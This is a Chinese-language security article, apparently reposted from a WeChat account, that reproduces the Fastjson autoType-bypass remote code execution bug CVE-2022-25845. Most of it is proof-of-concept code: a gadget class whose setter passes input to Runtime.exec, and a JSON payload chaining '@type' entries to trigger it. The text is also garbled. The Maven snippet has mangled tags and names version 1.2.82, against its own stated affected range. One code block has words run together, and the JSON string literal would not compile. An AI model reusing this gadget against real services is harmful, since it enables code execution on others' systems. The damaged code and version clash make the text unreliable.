漏洞简介
Fastjson 代码执行漏洞，该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行
影响版本：1.2.80及以下版本，即<= 1.2.80
漏洞复现
我们利用 idea 创建 maven 项目 搭建漏洞环境，在 pom 文件中添加
<dependency><groupId>com.alibabagroupId><artifactId>fastjsonartifactId><version>1.2.82version>dependency>
package com.example.fastjson;import java.io.IOException;public class Poc extends Exception {public void setName(String str) {try {Runtime.getRuntime().exec(str);} catch (IOException e) {e.printStackTrace();}}}package com.example.fastjson;import com.alibaba.fastjson.JSON;public class PocDemo {public static void main(String[] args) {String json = "{"@type":"java.lang.Exception","@type":"com.example.fastjson.Poc","name":"calc"}";JSON.parse(json);}}
运行 PocDemo
package com.example.fastjson;importjava.io.IOException;publicclass Poc extendsError {publicvoidsetName(String str){try{Runtime.getRuntime().exec(str);}catch(IOException e){e.printStackTrace();}}}
征集原创技术文章中，欢迎投递
投稿邮箱：[email protected]
文章类型：黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
原文始发于微信公众号（合天网安实验室）：Fastjson 代码执行 CVE-2022-25845
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论